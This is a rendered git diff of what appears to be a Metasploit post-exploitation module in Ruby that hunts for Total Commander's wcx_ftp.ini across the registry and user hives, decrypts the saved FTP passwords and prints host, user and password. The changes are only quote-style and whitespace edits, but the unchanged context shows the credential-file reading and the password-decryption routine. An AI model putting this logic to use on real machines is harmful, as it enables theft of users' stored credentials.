@@ -31,7 +31,7 @@ def initialize(info={})
31
31
end
32
32
33
33
def run
34
- print_status ( " Checking Default Locations..." )
34
+ print_status ( ' Checking Default Locations...' )
35
35
check_systemroot
36
36
37
37
grab_user_profiles ( ) . each do |user |
@@ -45,25 +45,25 @@ def run
45
45
hklmpath = registry_getvaldata ( commander_key , 'FtpIniName' )
46
46
case hklmpath
47
47
when nil
48
- print_status ( " Total Commander Does not Appear to be Installed Globally" )
49
- when " wcx_ftp.ini"
48
+ print_status ( ' Total Commander Does not Appear to be Installed Globally' )
49
+ when ' wcx_ftp.ini'
50
50
print_status ( "Already Checked SYSTEMROOT" )
51
- when " .\\ wcx_ftp.ini"
51
+ when ' .\\wcx_ftp.ini'
52
52
hklminstpath = registry_getvaldata ( commander_key , 'InstallDir' ) || ''
53
53
if hklminstpath . empty?
54
- print_error ( " Unable to find InstallDir in registry, skipping wcx_ftp.ini" )
54
+ print_error ( ' Unable to find InstallDir in registry, skipping wcx_ftp.ini' )
55
55
else
56
56
check_other ( hklminstpath +'\\wcx_ftp.ini' )
57
57
end
58
58
when /APPDATA/
59
- print_status ( " Already Checked AppData" )
59
+ print_status ( ' Already Checked AppData' )
60
60
when /USERPROFILE/
61
- print_status ( " Already Checked USERPROFILE" )
61
+ print_status ( ' Already Checked USERPROFILE' )
62
62
else
63
63
check_other ( hklmpath )
64
64
end
65
65
66
- userhives = load_missing_hives ( )
66
+ userhives = load_missing_hives ( )
67
67
userhives . each do |hive |
68
68
next if hive [ 'HKU' ] == nil
69
69
print_status ( "Looking at Key #{ hive [ 'HKU' ] } " )
@@ -72,21 +72,21 @@ def run
72
72
print_status ( "HKUP: #{ hkupath } " )
73
73
case hkupath
74
74
when nil
75
- print_status ( " Total Commander Does not Appear to be Installed on This User" )
76
- when " wcx_ftp.ini"
75
+ print_status ( ' Total Commander Does not Appear to be Installed on This User' )
76
+ when ' wcx_ftp.ini'
77
77
print_status ( "Already Checked SYSTEMROOT" )
78
- when " .\\ wcx_ftp.ini"
78
+ when ' .\\wcx_ftp.ini'
79
79
hklminstpath = registry_getvaldata ( profile_commander_key , 'InstallDir' ) || ''
80
80
if hklminstpath . empty?
81
- print_error ( " Unable to find InstallDir in registry, skipping wcx_ftp.ini" )
81
+ print_error ( ' Unable to find InstallDir in registry, skipping wcx_ftp.ini' )
82
82
else
83
83
check_other ( hklminstpath +'\\wcx_ftp.ini' )
84
84
end
85
85
when /APPDATA/
86
- print_status ( " Already Checked AppData" )
86
+ print_status ( ' Already Checked AppData' )
87
87
88
88
when /USERPROFILE/
89
- print_status ( " Already Checked USERPROFILE" )
89
+ print_status ( ' Already Checked USERPROFILE' )
90
90
else
91
91
check_other ( hkupath )
92
92
end
@@ -153,16 +153,16 @@ def get_ini(filename)
153
153
ini = Rex ::Parser ::Ini . from_s ( parse )
154
154
155
155
ini . each_key do |group |
156
- next if group == " General" or group == " default" or group == " connections"
156
+ next if group == ' General' or group == ' default' or group == ' connections'
157
157
print_status ( "Processing Saved Session #{ group } " )
158
158
host = ini [ group ] [ 'host' ]
159
159
160
160
username = ini [ group ] [ 'username' ]
161
161
passwd = ini [ group ] [ 'password' ]
162
- next if passwd == nil
162
+ next if passwd == nil
163
163
passwd = decrypt ( passwd )
164
164
( host , port ) = host . split ( ':' )
165
- port = 21 if port == nil
165
+ port = 21 if port == nil
166
166
print_good ( "*** Host: #{ host } Port: #{ port } User: #{ username } Password: #{ passwd } ***" )
167
167
if session . db_record
168
168
source_id = session . db_record . id
@@ -214,7 +214,7 @@ def decrypt(pwd)
214
214
b = seed ( len )
215
215
t = pwd3 [ a ]
216
216
pwd3 [ a ] = pwd3 [ b ]
217
- pwd3 [ b ] = t
217
+ pwd3 [ b ] = t
218
218
end
219
219
220
220
@@ -231,7 +231,7 @@ def decrypt(pwd)
231
231
end
232
232
233
233
234
- fpwd = ""
234
+ fpwd = ""
235
235
pwd3 [ 0 , len ] . map { |a | fpwd << a . chr }
236
236
return fpwd
237
237
0 commit comments